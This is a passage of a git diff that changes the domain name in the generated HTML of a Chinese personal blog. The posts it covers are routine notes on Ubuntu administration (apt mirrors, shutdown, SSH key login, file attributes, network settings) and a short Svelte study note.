y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>linux系统的日常使用</h1><div class=post-meta><span title='2021-06-16 09:12:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/linux%e7%b3%bb%e7%bb%9f%e7%9a%84%e6%97%a5%e5%b8%b8%e4%bd%bf%e7%94%a8.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>linux发行版有很多，这里使用的是Ubuntu</p><p>个人喜欢使用无界面版本（ubuntu-20.04-live-server-amd64）</p><p>有关于树莓派的看这个</p><p>修改为国内源</p><p>nano /etc/apt/sources.list</p><p>替换内容为</p><pre><code># 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释
+deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe     multiverse
+# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse
+deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse
+# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse
+deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse
+# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse
+deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse
+# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse
+
+# 预发布软件源，不建议启用
+# deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-proposed main restricted universe multiverse
+# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-proposed main restricted universe multiverse
+</code></pre><p>注：该源为清华大学开源软件镜像站的,可以修改为其他镜像站的源</p><p>163镜像源</p><pre><code># 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释
+deb http://mirrors.163.com/ubuntu/ focal main restricted universe multiverse
+deb http://mirrors.163.com/ubuntu/ focal-security main restricted universe multiverse
+deb http://mirrors.163.com/ubuntu/ focal-updates main restricted universe multiverse
+deb http://mirrors.163.com/ubuntu/ focal-backports main restricted universe multiverse
+# deb-src http://mirrors.163.com/ubuntu/ focal main restricted universe multiverse
+# deb-src http://mirrors.163.com/ubuntu/ focal-security main restricted universe multiverse
+# deb-src http://mirrors.163.com/ubuntu/ focal-updates main restricted universe multiverse
+# deb-src http://mirrors.163.com/ubuntu/ focal-backports main restricted universe multiverse
+# 预发布软件源，不建议启用
+# deb http://mirrors.163.com/ubuntu/ focal-proposed main restricted universe multiverse
+# deb-src http://mirrors.163.com/ubuntu/ focal-proposed main restricted universe multiverse
 </code></pre><p>sudo apt update #更新源
 sudo apt upgrade #更新系统</p><p>安装app</p><p>sudo apt install App名字</p><p>例如安装ssh服务：</p><p>apt update
 apt install openssh-server</p><p>poweroff 立刻关机</p><p>shutdown -h now 立刻关机</p><p>shutdown -r now 立刻重启</p><p>shutdown -r 10 10分钟后重启</p><p>shutdown -r 1:00 当时间为1:00时重启</p><p>wget 下载文件链接</p><p>安装.deb文件</p><p>sudo dpkg -i 文件名</p><p>例如：</p><p>sudo dpkg -i code_1.40.2-1574694120_amd64.deb</p><p>clear 清除</p><p>ls和cd</p><p>cd命令是前往指定目录</p><p>cd ~ 前往目前使用的用户的Home目录（家目录）</p><p>cd .. 返回上一级目录</p><p>cd /etc/python3 前往指定目录</p><p>cd - 返回刚刚所在的目录</p><p>cd ../../ 向上返回两级目录</p><p>cd ./ 前往当前目录</p><p>pwd 显示当前目录路径</p><p>ls -ah 将所有目录（包括隐藏目录）显示出来</p><p>如果有很多层目录，那么需要一个绝对目录</p><p>绝对目录：指目录的绝对位置，从根目录开始的路径，完整的描述文件位置的路径就是绝对路径
@@ -68,8 +68,8 @@
 scp -P 2222 .\authorized_keys <a href=mailto:pi@192.168.1.106>pi@192.168.1.106</a>:~/.ssh</p><p>给.ssh目录和authorized_keys文件设置权限</p><p>chmod -R 0700 ~/.ssh</p><p>chmod -R 0644 ~/.ssh/authorized_keys</p><p>ssh <a href=mailto:pi@192.168.1.106>pi@192.168.1.106</a> -p 2222</p><p>就可以不用密码进行登录了</p><hr><p>linux下Operation not permitted</p><p>先看看文件权限ll，能使用root用户或者sudo最好，然后尝试chmod</p><p>如果在root用户或者sudo下也不能对文件或者文件夹进行操作，那么</p><p>chattr +i hello.py // 使用i属性来锁定文件，避免修改文件</p><p>lsattr hello.py // 查看加锁</p><p>chattr -i hello.py // 去除i属性，便可以修改该文件</p><p>a：可以修改文件，但是不能删除</p><p>i: 不能删除，不能修改，不能移动</p><hr><p>ifconfig // 查看网络配置，或者ip addr ls</p><p>网卡配置文件在/etc/sysconfig/network-scripts下</p><p>网卡配置文件名称一般为ifcfg-xxx</p><p>默认为关闭的，需要使用DHCP获取ip，需要修改ONBOOT=no，修改为yes</p><p>配置静态ip，需要修改BOOTPROTO为static</p><p>添加下面内容</p><p>IPADDR=192.168.186.128 // 设置IP地址
 NETMASK=255.255.255.0 // 设置子网掩码
 GATEWAY=192.168.186.1 // 设置网关
-DNS1=114.114.114.114 // 设置dns</p><p>nmcli c reload // 重启网络服务</p><p>ip addr // 查看本地IP地址以及其他网卡信息</p><p>ip link set dev eth0 up // 启用网卡 或者ifup eth0</p><p>ifconfig eth0 192.168.186.128 // 修改指定网卡的ip</p><p>ifconfig eth0 192.168.186.128 netmask 255.255.255.0 // 修改子网掩码</p><p>route -n // 显示和操作IP路由表</p><p>route add default gw 192.168.186.1 // 增加指定网关，其中的default是指0.0.0.0的，可自己选择想要的，例如route add -host 192.168.186.2 gw 192.168.186.1</p><p>route add -net 192.168.0.0 netmask 255.255.255.0 gw 192.168.186.1 // 设置网段的网关</p><p>route del default gw 192.168.186.1 // 删除指定网关</p><hr></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/linux/>Linux</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/10/><span class=title>« Prev</span><br><span>原生js实现瀑布流布局</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/6/><span class=title>Next »</span><br><span>简单解决文本溢出问题</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+DNS1=114.114.114.114 // 设置dns</p><p>nmcli c reload // 重启网络服务</p><p>ip addr // 查看本地IP地址以及其他网卡信息</p><p>ip link set dev eth0 up // 启用网卡 或者ifup eth0</p><p>ifconfig eth0 192.168.186.128 // 修改指定网卡的ip</p><p>ifconfig eth0 192.168.186.128 netmask 255.255.255.0 // 修改子网掩码</p><p>route -n // 显示和操作IP路由表</p><p>route add default gw 192.168.186.1 // 增加指定网关，其中的default是指0.0.0.0的，可自己选择想要的，例如route add -host 192.168.186.2 gw 192.168.186.1</p><p>route add -net 192.168.0.0 netmask 255.255.255.0 gw 192.168.186.1 // 设置网段的网关</p><p>route del default gw 192.168.186.1 // 删除指定网关</p><hr></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/linux/>Linux</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/10/><span class=title>« Prev</span><br><span>原生js实现瀑布流布局</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/6/><span class=title>Next »</span><br><span>简单解决文本溢出问题</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/80/index.html b/posts/80/index.html
index 092f72f7..2b9996bd 100644
--- a/posts/80/index.html
+++ b/posts/80/index.html
@@ -6,11 +6,11 @@
 yarn
 yarn dev
 修改src\App.svelte和src\main.js
-<script>
let name = 'world'
</script>
<h1>Hello {name}!</h1>
导入组件
-import Hallo from './hallo.svelte'
...
<Hallo/>
如果想将HTML渲染到组件中可以使用 let string = <div>hallo word</div> {@html string}
+<script> let name = 'world' </script> <h1>Hello {name}!</h1> 导入组件
+import Hallo from './hallo.svelte' ... <Hallo/> 如果想将HTML渲染到组件中可以使用 let string = <div>hallo word</div> {@html string}
 事件响应
-function aClick() {
count += 1
}
...
<button on:click={aClick}>{count}</button> "><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/80/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Svelte学习笔记"><meta property="og:description" content="Svelte的核心思想在于通过静态编译减少框架运行时的代码量
+function aClick() { count += 1 } ... <button on:click={aClick}>{count}</button> "><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/80/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Svelte学习笔记"><meta property="og:description" content="Svelte的核心思想在于通过静态编译减少框架运行时的代码量
 Svelte风格和vue相似，模板用{}来表示
 Svelte的特点就是没有虚拟DOM（像Vue和React都是用虚拟DOM的）
 初始化
@@ -18,10 +18,10 @@
 yarn
 yarn dev
 修改src\App.svelte和src\main.js
-<script>
let name = 'world'
</script>
<h1>Hello {name}!</h1>
导入组件
-import Hallo from './hallo.svelte'
...
<Hallo/>
如果想将HTML渲染到组件中可以使用 let string = <div>hallo word</div> {@html string}
+<script> let name = 'world' </script> <h1>Hello {name}!</h1> 导入组件
+import Hallo from './hallo.svelte' ... <Hallo/> 如果想将HTML渲染到组件中可以使用 let string = <div>hallo word</div> {@html string}
 事件响应
-function aClick() {
count += 1
}
...
<button on:click={aClick}>{count}</button> "><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/80/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-08-09T22:50:00+00:00"><meta property="article:modified_time" content="2021-08-09T22:50:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Svelte学习笔记"><meta name=twitter:description content="Svelte的核心思想在于通过静态编译减少框架运行时的代码量
+function aClick() { count += 1 } ... <button on:click={aClick}>{count}</button> "><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/80/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-08-09T22:50:00+00:00"><meta property="article:modified_time" content="2021-08-09T22:50:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Svelte学习笔记"><meta name=twitter:description content="Svelte的核心思想在于通过静态编译减少框架运行时的代码量
 Svelte风格和vue相似，模板用{}来表示
 Svelte的特点就是没有虚拟DOM（像Vue和React都是用虚拟DOM的）
 初始化
@@ -29,24 +29,24 @@
 yarn
 yarn dev
 修改src\App.svelte和src\main.js
-<script>
let name = 'world'
</script>
<h1>Hello {name}!</h1>
导入组件
-import Hallo from './hallo.svelte'
...
<Hallo/>
如果想将HTML渲染到组件中可以使用 let string = <div>hallo word</div> {@html string}
+<script> let name = 'world' </script> <h1>Hello {name}!</h1> 导入组件
+import Hallo from './hallo.svelte' ... <Hallo/> 如果想将HTML渲染到组件中可以使用 let string = <div>hallo word</div> {@html string}
 事件响应
-function aClick() {
count += 1
}
...
<button on:click={aClick}>{count}</button> "><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Svelte学习笔记","item":"https://xiaochenabc123.github.io/posts/80/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Svelte学习笔记","name":"Svelte学习笔记","description":"Svelte的核心思想在于通过静态编译减少框架运行时的代码量\nSvelte风格和vue相似，模板用{}来表示\nSvelte的特点就是没有虚拟DOM（像Vue和React都是用虚拟DOM的）\n初始化\nnpx degit sveltejs/template demo\nyarn\nyarn dev\n修改src\\App.svelte和src\\main.js\n\u0026lt;script\u0026gt;\rlet name = 'world'\r\u0026lt;/script\u0026gt;\r\u0026lt;h1\u0026gt;Hello {name}!\u0026lt;/h1\u0026gt;\r导入组件\nimport Hallo from './hallo.svelte'\r...\r\u0026lt;Hallo/\u0026gt;\r如果想将HTML渲染到组件中可以使用 let string = \u0026lt;div\u0026gt;hallo word\u0026lt;/div\u0026gt; {@html string}\n事件响应\nfunction aClick() {\rcount += 1\r}\r...\r\u0026lt;button on:click={aClick}\u0026gt;{count}\u0026lt;/button\u0026gt; ","keywords":["Sveltejs"],"articleBody":"Svelte的核心思想在于通过静态编译减少框架运行时的代码量\nSvelte风格和vue相似，模板用{}来表示\nSvelte的特点就是没有虚拟DOM（像Vue和React都是用虚拟DOM的）\n初始化\nnpx degit sveltejs/template demo\nyarn\nyarn dev\n修改src\\App.svelte和src\\main.js\nHello {name}!\r导入组件\nimport Hallo from './hallo.svelte'\r...\r如果想将HTML渲染到组件中可以使用 let string = hallo word {@html string}\n事件响应\nfunction aClick() {\rcount += 1\r}\r...\r{count} ","wordCount":"46","inLanguage":"en","datePublished":"2021-08-09T22:50:00Z","dateModified":"2021-08-09T22:50:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/80/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>Svelte学习笔记</h1><div class=post-meta><span title='2021-08-09 22:50:00 +0000 UTC'>2021-08-09</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/Svelte%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Svelte的核心思想在于通过静态编译减少框架运行时的代码量</p><p>Svelte风格和vue相似，模板用{}来表示</p><p>Svelte的特点就是没有虚拟DOM（像Vue和React都是用虚拟DOM的）</p><p>初始化</p><p>npx degit sveltejs/template demo</p><p>yarn</p><p>yarn dev</p><p>修改src\App.svelte和src\main.js</p><hr><pre><code>&lt;script&gt;
-    let name = 'world'
-&lt;/script&gt;
-&lt;h1&gt;Hello {name}!&lt;/h1&gt;
-</code></pre><p>导入组件</p><pre><code>import Hallo from './hallo.svelte'
-...
-&lt;Hallo/&gt;
+function aClick() { count += 1 } ... <button on:click={aClick}>{count}</button> "><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Svelte学习笔记","item":"https://chenjunlinabc.github.io/posts/80/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Svelte学习笔记","name":"Svelte学习笔记","description":"Svelte的核心思想在于通过静态编译减少框架运行时的代码量\nSvelte风格和vue相似，模板用{}来表示\nSvelte的特点就是没有虚拟DOM（像Vue和React都是用虚拟DOM的）\n初始化\nnpx degit sveltejs/template demo\nyarn\nyarn dev\n修改src\\App.svelte和src\\main.js\n\u0026lt;script\u0026gt; let name = 'world' \u0026lt;/script\u0026gt; \u0026lt;h1\u0026gt;Hello {name}!\u0026lt;/h1\u0026gt; 导入组件\nimport Hallo from './hallo.svelte' ... \u0026lt;Hallo/\u0026gt; 如果想将HTML渲染到组件中可以使用 let string = \u0026lt;div\u0026gt;hallo word\u0026lt;/div\u0026gt; {@html string}\n事件响应\nfunction aClick() { count += 1 } ... \u0026lt;button on:click={aClick}\u0026gt;{count}\u0026lt;/button\u0026gt; ","keywords":["Sveltejs"],"articleBody":"Svelte的核心思想在于通过静态编译减少框架运行时的代码量\nSvelte风格和vue相似，模板用{}来表示\nSvelte的特点就是没有虚拟DOM（像Vue和React都是用虚拟DOM的）\n初始化\nnpx degit sveltejs/template demo\nyarn\nyarn dev\n修改src\\App.svelte和src\\main.js\nHello {name}! 导入组件\nimport Hallo from './hallo.svelte' ... 如果想将HTML渲染到组件中可以使用 let string = hallo word {@html string}\n事件响应\nfunction aClick() { count += 1 } ... {count} ","wordCount":"46","inLanguage":"en","datePublished":"2021-08-09T22:50:00Z","dateModified":"2021-08-09T22:50:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/80/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>Svelte学习笔记</h1><div class=post-meta><span title='2021-08-09 22:50:00 +0000 UTC'>2021-08-09</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/Svelte%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Svelte的核心思想在于通过静态编译减少框架运行时的代码量</p><p>Svelte风格和vue相似，模板用{}来表示</p><p>Svelte的特点就是没有虚拟DOM（像Vue和React都是用虚拟DOM的）</p><p>初始化</p><p>npx degit sveltejs/template demo</p><p>yarn</p><p>yarn 